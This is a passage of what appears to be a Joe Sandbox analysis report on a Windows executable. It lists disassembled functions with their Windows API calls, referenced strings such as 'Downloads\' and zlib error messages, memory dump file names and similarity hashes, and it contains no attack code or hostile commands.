Function 000000014000DB18 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 107libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

LoadLibraryW.KERNEL32 ref: 000000014000DB51
GetProcAddress.KERNEL32 ref: 000000014000DB69
wcscpy.MSVCRT ref: 000000014000DB9A
wcscat.MSVCRT ref: 000000014000DBA9
wcslen.MSVCRT ref: 000000014000DBB1
CoTaskMemFree.OLE32 ref: 000000014000DBBE
FreeLibrary.KERNEL32 ref: 000000014000DBC7
wcscat.MSVCRT ref: 000000014000DBEC
wcslen.MSVCRT ref: 000000014000DBF4

Strings

Downloads\, xrefs: 000000014000DBE2
Shell32.DLL, xrefs: 000000014000DB4A
SHGetKnownFolderPath, xrefs: 000000014000DB5F

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1740785346-287042676
Opcode ID: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction ID: 39544a34e48b1591535f5ec23c8084432afafb0fbbbedabb5ee694640fe7ccea
Opcode Fuzzy Hash: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction Fuzzy Hash: A94184B1214A46C2FA26EB57B4A4BF97291AB8C7D0F540127BB0A0B7F5DEB9C841C610

Function 0000000140016CC4 Relevance: 19.6, APIs: 13, Instructions: 81memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140016CF2
InitializeCriticalSection.KERNEL32 ref: 0000000140016D01
TlsGetValue.KERNEL32 ref: 0000000140016D17
HeapAlloc.KERNEL32 ref: 0000000140016D37
EnterCriticalSection.KERNEL32 ref: 0000000140016D4C
LeaveCriticalSection.KERNEL32 ref: 0000000140016D6F
GetCurrentProcess.KERNEL32 ref: 0000000140016D75
GetCurrentThread.KERNEL32 ref: 0000000140016D7E
GetCurrentProcess.KERNEL32 ref: 0000000140016D87
DuplicateHandle.KERNEL32 ref: 0000000140016DAC
RegisterWaitForSingleObject.KERNEL32 ref: 0000000140016DD1
TlsSetValue.KERNEL32 ref: 0000000140016DE0
HeapAlloc.KERNEL32 ref: 0000000140016DF3

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction ID: 65bd0fc00ed65caac6c8ae18375092c396c339aa9c4fc9a556ba9f8eb5a1fbfe
Opcode Fuzzy Hash: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction Fuzzy Hash: F141E132205B408AEB129F62EC443E977A0F78CBD5F484129EB490B774DF39C959D740

Function 0000000140008260 Relevance: 13.7, APIs: 9, Instructions: 249COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 0000000140008373

Part of subcall function 0000000140012630: TlsGetValue.KERNEL32 ref: 000000014001263F

_wcsdup.MSVCRT ref: 00000001400083AD
_wcsdup.MSVCRT ref: 00000001400083D0
_wcsdup.MSVCRT ref: 00000001400083EE
wcsncpy.MSVCRT ref: 00000001400084F6
free.MSVCRT ref: 0000000140008570
free.MSVCRT ref: 0000000140008582
free.MSVCRT ref: 0000000140008596
wcsncpy.MSVCRT ref: 00000001400085CE

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID:
API String ID: 1554701960-0
Opcode ID: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction ID: 9aa5ebfb9d0338231e5de8689cc7ecd01d3be8732c0a46cca62a2a5aa1271af7
Opcode Fuzzy Hash: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction Fuzzy Hash: FB91BFB2604A8185EA76DF13B9507EA73A0FB48BD5F484225BFCA476E5EB38C542C701

Function 000000014000B64C Relevance: 12.1, APIs: 8, Instructions: 56COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 000000014000B674
EnableWindow.USER32 ref: 000000014000B6F6
DestroyWindow.USER32 ref: 000000014000B706
UnregisterClassW.USER32 ref: 000000014000B71C

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Window$ClassDestroyEnableProcUnregister
String ID:
API String ID: 1570244450-0
Opcode ID: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction ID: 9942cbda7600913111d3f6e009e2264a98590d225334710fbbc2bdadcd09b10d
Opcode Fuzzy Hash: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction Fuzzy Hash: F121F9B4204A5182FB56DB27F8483A923A1E78CBC1F549126FB4A4B7B5DF3DC8459700

Function 000000014000BEA0 Relevance: 12.0, APIs: 8, Instructions: 44threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 000000014000BEAF
GetCurrentThreadId.KERNEL32 ref: 000000014000BEB7
IsWindowVisible.USER32 ref: 000000014000BEC4

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

GetCurrentThreadId.KERNEL32 ref: 000000014000BEE6
GetWindowLongPtrW.USER32 ref: 000000014000BEFC
GetForegroundWindow.USER32 ref: 000000014000BF0A
IsWindowEnabled.USER32 ref: 000000014000BF18
EnableWindow.USER32 ref: 000000014000BF2B

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction ID: 80f857dfb6a9a2f530fca3cb10c8fb692f8ca5f83b5b0ec86a1534c3d91aadad
Opcode Fuzzy Hash: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction Fuzzy Hash: 9D11397020064182EB46AB27A9483B962A1EB8CBC4F448024FA0A4B6B5DF7DC5458301

Function 0000000140011AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140011AD9
GetProcAddress.KERNEL32 ref: 0000000140011AF5
FreeLibrary.KERNEL32 ref: 0000000140011B1A
Sleep.KERNEL32 ref: 0000000140011B3A

Strings

Kernel32.dll, xrefs: 0000000140011ACD
InitOnceExecuteOnce, xrefs: 0000000140011AEB

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Library$AddressFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 938261879-1339284965
Opcode ID: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction ID: 258e5301f75bcfa7e340e12184f2e3f20ed82b399a9dd39da3854f47a4428b06
Opcode Fuzzy Hash: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction Fuzzy Hash: AB118F3120974585EB5ADF57E8843E973A0FB8CBD0F488029AB0A0B666EF3AC595C340

Function 000000014000BF44 Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 000000014000BF61
GetCurrentThreadId.KERNEL32 ref: 000000014000BF7A
SetWindowPos.USER32 ref: 000000014000BFAB
GetCurrentThreadId.KERNEL32 ref: 000000014000BFCA
EnableWindow.USER32 ref: 000000014000BFE4
SetWindowPos.USER32 ref: 000000014000C010

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction ID: 08829170a8ee5f1b49cfdf050f6537c1ef42b3a6330418e8cb94bb4851fba9f1
Opcode Fuzzy Hash: 819563b769547833593462bfdd9e557783e2fe60f6ea2978649c293be4a90c74
Instruction Fuzzy Hash: 6D3171B261064182FB62CF22F5487A977A1F75CBE9F484215FB6947AF9CB79C844CB00

Function 00000001400110DC Relevance: 9.1, APIs: 6, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140011112
HeapAlloc.KERNEL32 ref: 000000014001112D
TlsSetValue.KERNEL32 ref: 000000014001113C
TlsGetValue.KERNEL32 ref: 000000014001115F
HeapReAlloc.KERNEL32 ref: 000000014001117B
TlsSetValue.KERNEL32 ref: 000000014001118D

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction ID: 773301f083ee798336704ec3d5312664b9b868eef9dc2a5d6ba13fea1fa7b4fd
Opcode Fuzzy Hash: 817cb6a234a385814b06518aa112c5efe756708d8e68811ae307d73ca14c2163
Instruction Fuzzy Hash: 3821F434200B8096EB4A9B92F8843E963A5F7DCBD0F548429FB4D47B79DE3DC8858740

Function 0000000140007284 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00000001400072B3
EnterCriticalSection.KERNEL32 ref: 00000001400072CC
WaitForSingleObject.KERNEL32 ref: 00000001400072E4
CloseHandle.KERNEL32 ref: 00000001400072F1
LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterHandleLeaveObjectSingleThreadWait
String ID:
API String ID: 458812214-0
Opcode ID: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction ID: 6ed0f769cbd5916c92599595d34faf5ec2fc13e913d525d246d608b89e2aac48
Opcode Fuzzy Hash: 6a38117e792cc01899f22305820c9a0c290a6e73bcc29c544877765eca75b33b
Instruction Fuzzy Hash: FD210076204B0081EB06DB22E8943E973A4FB8CBC4F988026EB4D47779DF39C946C340

Function 0000000140011968 Relevance: 7.6, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011985
LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7

DeleteCriticalSection.KERNEL32 ref: 0000000140011A0B
HeapFree.KERNEL32 ref: 0000000140011A1D

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction ID: 030e86aa03d9d600b90796447865b7023312810cb66964dcc71f9bcfbca43c2c
Opcode Fuzzy Hash: 5bac674c3f8342d6cd0aac8621eb4a2ebf53081d1a9cae62f807694b4d99e6ae
Instruction Fuzzy Hash: 4721E735201B4485EB4ADB57E5903E823A4F78CBC4F444115AB5E0B7B6CF3AC4A5C340

Function 00000001400117FC Relevance: 6.3, APIs: 5, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140011855
HeapAlloc.KERNEL32 ref: 0000000140011890
LeaveCriticalSection.KERNEL32 ref: 00000001400118FB
HeapAlloc.KERNEL32 ref: 0000000140011910
InitializeCriticalSection.KERNEL32 ref: 0000000140011952

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CriticalSection$AllocHeap$EnterInitializeLeave
String ID:
API String ID: 2544007295-0
Opcode ID: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction ID: 3c708bd0e8d6be70d523372ffb5b6a2e3cd9d0d7dbc1ea7b56162c86fa93b61b
Opcode Fuzzy Hash: 964df89806ab1b98e43ea449fff5c56c6dda4054a8aa2c3e42b83df1ec0c2f38
Instruction Fuzzy Hash: 5E413932605B8086EB5ADF56E4403E877A4F79CBD0F54812AEB4D4BBA5DF39C8A5C700

Function 000000014000E824 Relevance: 6.3, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000014000E9C7
memset.MSVCRT ref: 000000014000E9D5
memset.MSVCRT ref: 000000014000E9E2
memset.MSVCRT ref: 000000014000E9F1
memset.MSVCRT ref: 000000014000E9FF

Part of subcall function 000000014000FEE4: memmove.MSVCRT ref: 000000014000FF5C

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: memset$memmove
String ID:
API String ID: 3527438329-0
Opcode ID: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction ID: dba297aa8fb042b18ff0822facc25e4acf5e394d44c3b4579297ae20e1131b5c
Opcode Fuzzy Hash: 1e0a837dc669331cc5957db2528f79886a441c50ac0b901b14f5572dc67d68da
Instruction Fuzzy Hash: E231007271064081FB16DA2BE4507E96612E38DBD0F848126EB1A83BAACA7EC502C740

Function 00000001400130CB Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130CB
, xrefs: 00000001400130EB

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $ $header crc mismatch
API String ID: 0-4092041874
Opcode ID: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction ID: f6894c87bdfd3a48e6411c52319aba3e102a5ca19e93322268f312efd41433f4
Opcode Fuzzy Hash: 55b197aa7f59ea79f5e67b8aaa8e0c71fa88c311ff36f0bd1c48ebfad87586ba
Instruction Fuzzy Hash: 41A18FB26003508BFB269E1AC48C7AE3BE6F7587C8F064558EB964B3A4D776C954C780

Function 0000000140007A50 Relevance: 6.2, APIs: 4, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0000000140007B33
wcsncpy.MSVCRT ref: 0000000140007B9F
wcsncpy.MSVCRT ref: 0000000140007BF9
HeapFree.KERNEL32 ref: 0000000140007C15

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: Heapwcsncpy$AllocFree
String ID:
API String ID: 1479455602-0
Opcode ID: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction ID: 28fd82db213d89e843f0df720333d3fbeca218ccf85cb71e10007619eb34b75b
Opcode Fuzzy Hash: bd39aa7686407ba85d86bffb32f51c5ca4b87867d279337be1c8d10c74bedb84
Instruction Fuzzy Hash: BF51A0B2B0068486EA66DF26A404BEA67E1F789BD4F588125EF4D477E5EB3CC542C300

Function 00000001400136B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 000000014001375C

Strings

, xrefs: 00000001400136BA
invalid stored block lengths, xrefs: 00000001400136F0
, xrefs: 00000001400136DB

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: memmove
String ID: $ $invalid stored block lengths
API String ID: 2162964266-1718185709
Opcode ID: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction ID: 754f218cd566fbce8dd602483dcb0b6cf2df6dd41c0e80f26ad42ee7a9f80f3a
Opcode Fuzzy Hash: 5a154506d4633e528a7a17bae092f7a518f978704b3b8509104772513ba27d3c
Instruction Fuzzy Hash: 3A417B766006508BE7268F27D5887AE3BA0F3087C8F155119FF8A4BBA4C776D8A1CB40

Function 000000014000C4F0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5A6
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C5E1
RtlVirtualUnwind.KERNEL32 ref: 000000014000C64C
RtlLookupFunctionEntry.KERNEL32 ref: 000000014000C672

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: EntryFunctionLookup$UnwindVirtual
String ID:
API String ID: 3286588846-0
Opcode ID: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction ID: 3ebace1c390976f506d0f99ca18ed721a427f0b26ede3763bfd5663c46823d1b
Opcode Fuzzy Hash: a43c6ac0d422a0cb868a81bf0a3177776bf41fbc22bf78c230eac44af0668553
Instruction Fuzzy Hash: 48512E66A15FC481EA61CB29E5453ED63A0FB9DB84F09A215DF8C13756EF34D2D4C700

Function 00000001400085F0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

CharLowerW.USER32 ref: 000000014000861A
CharLowerW.USER32 ref: 000000014000864F
CharLowerW.USER32 ref: 000000014000867D
CharLowerW.USER32 ref: 0000000140008688

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: CharLower
String ID:
API String ID: 1615517891-0
Opcode ID: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction ID: 89447f37e157e5f910190f26039f07b44efb98263a832e051549732566d91b47
Opcode Fuzzy Hash: c79849e46724dc2abb30ea88d6992f20c8495c80adfb737506759087bbbff476
Instruction Fuzzy Hash: BB2181766006A092EA66EF13A8047BA76A0F748BF5F5A4211FFD5072E0DB35C495D710

Function 00000001400171F0 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014001724E
malloc.MSVCRT ref: 0000000140017260
WideCharToMultiByte.KERNEL32 ref: 000000014001728B
malloc.MSVCRT ref: 00000001400172A2

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343313042.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343329971.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000030.00000002.2343345689.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction ID: 84a502ef329111f45b75735ee98b05bbb8abde518fb530cc481733cdeaf2302d
Opcode Fuzzy Hash: 0f974c86f1a7e361068b693f653777688ae97df7ee1888e934fdd283249f1d8a
Instruction Fuzzy Hash: 76216532608B8086D725CF56B44079AB7A5F7887D4F088325FF9917BA9DF3DC5529700

Function 000000014000DCA4 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32 ref: 000000014000DCCD
SHGetPathFromIDListW.SHELL32 ref: 000000014000DCDF
wcslen.MSVCRT ref: 000000014000DCEC
CoTaskMemFree.OLE32 ref: 000000014000DD0F

Memory Dump Source

Source File: 00000030.00000002.2343292400.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000030.00000002.2343277027.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
